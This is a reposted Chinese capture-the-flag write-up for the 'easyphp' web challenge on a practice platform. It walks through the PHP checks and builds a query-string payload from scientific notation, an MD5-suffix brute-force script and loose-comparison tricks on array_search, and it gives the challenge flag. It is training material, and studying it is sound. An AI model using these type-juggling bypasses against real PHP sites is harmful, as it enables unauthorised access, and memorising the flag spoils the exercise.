当前位置: 首页 > news >正文

攻防世界WEB练习 | easyphp

目录

题目场景

代码分析

找到flag


题目场景

代码分析

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

isset:检查变量是否设置

intval:检查变量是否为int型

strlen:检查变量的长度

要求a存在且大于6000000,a的长度不能超过3

使用科学计数法 a=1e9(e9即10的9次方)

if(isset($b) && '8b184b' === substr(md5($b),-6,6))

直接用脚本跑出

<?php

for($i = 1;$i <= 1000000;$i++){

    if('8b184b' === substr(md5($i),-6,6)){

        echo $i."<br>".md5($i);

    }

}

?>

所以第一部分payload为?a=1e9&b=53724

$c=(array)json_decode(@$_GET['c']);

构造出数组C后json_decode

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

$c需为数组。且存在m,m不能为数字,但是需大于2022.科学技术法,直接m赋值为2023q 即可

c={"m":"2023q"}

 if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组,(这里的0为索引)

c={"m":"2023q","n":[[1,2],3]}

$d = array_search("DGGJ", $c["n"])

foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;

核心点是如何绕过array_ search这个函数。先看看下面两个判断吧,array_ seach的结
果b不能是假,也就是Array [n]中必须有元素是DGGJ,同时遍历Array [n]之后对数组值
进行判断,如果存在DGGJ则终止程序。
很明显这两个条件是矛盾的,开头提到了如何绕过array_ search是核心点,既然如此就先
了解一下array_search这个函数的作用吧。其作用是在数组中查找元素,并返回其下标。
而这个函数在进行元素查找的过程中进行的比较是==而非== =,因此同样是采取弱类型比较
的特点,因为是和没有数字字符串比较所以我们只要保证在Array [n]中存在非0下标的元
素中存在值0即可。因为在php中"字符串"==0是成立的。
最后再通过json_ encode ()将我们构造的数组进行一下转化就得到了 Array [n]的json格
式数据。

第二部分payload c={"m":"2023q","n":[[1,2],0]}

构造payload:?a=1e9&b=53724&c={"m":"2023q","n":[[1,2],0]}

找到flag

cyberpeace{db35f9b1ea0eaea688749f824e0ba234} 

相关文章:

  • Java数据结构:栈与综合计算器的实现(图解+完整代码)
  • dolphinscheduler 3.0.1数据质量
  • 【vue后台管理系统】基于Vue+Element-UI+ECharts开发通用管理后台(上)
  • 【产品新体验】CSDN. 云IDE体验与使用教程
  • 毕业设计 基于51单片机老人防跌倒GSM短信报警系统
  • 实验十四:雨滴传感器实验
  • 【面试官说实现一个顺序表,但听到要求后我沉默了】
  • jquery导航图片全屏滚动、首页全屏轮播图,各式相册
  • 相对于java,C++中的那些神奇语法
  • 元宇宙系列之AI虚拟人:“人”潮汹涌 探路未来
  • Selenium基础 — Selenium操作浏览器窗口滚动条
  • 前端经典面试题 | 闭包的作用和原理
  • python+opencv实现人脸微整形
  • 分类-朴素贝叶斯(高斯、多项式、伯努利)
  • Windows10搭建ASP服务器
  • 【Amaple教程】5. 插件
  • 2019年如何成为全栈工程师?
  • 30秒的PHP代码片段(1)数组 - Array
  • Android优雅地处理按钮重复点击
  • angular学习第一篇-----环境搭建
  • js递归,无限分级树形折叠菜单
  • MaxCompute访问TableStore(OTS) 数据
  • Spring Cloud(3) - 服务治理: Spring Cloud Eureka
  • 开发了一款写作软件(OSX,Windows),附带Electron开发指南
  • 利用DataURL技术在网页上显示图片
  • 每个JavaScript开发人员应阅读的书【1】 - JavaScript: The Good Parts
  • 批量截取pdf文件
  • 前端学习笔记之观察者模式
  • 小程序滚动组件,左边导航栏与右边内容联动效果实现
  • 小程序开发中的那些坑
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • [Shell 脚本] 备份网站文件至OSS服务(纯shell脚本无sdk) ...
  • ​RecSys 2022 | 面向人岗匹配的双向选择偏好建模
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • #define、const、typedef的差别
  • #pragma once与条件编译
  • (+4)2.2UML建模图
  • (0)Nginx 功能特性
  • (1)无线电失控保护(二)
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (2020)Java后端开发----(面试题和笔试题)
  • (备忘)Java Map 遍历
  • (多级缓存)多级缓存
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (附源码)计算机毕业设计SSM智能化管理的仓库管理
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (力扣题库)跳跃游戏II(c++)
  • (四)docker:为mysql和java jar运行环境创建同一网络,容器互联
  • (四)React组件、useState、组件样式
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (一)VirtualBox安装增强功能
  • (原創) 如何使用ISO C++讀寫BMP圖檔? (C/C++) (Image Processing)
  • (转)拼包函数及网络封包的异常处理(含代码)
  • (转载)hibernate缓存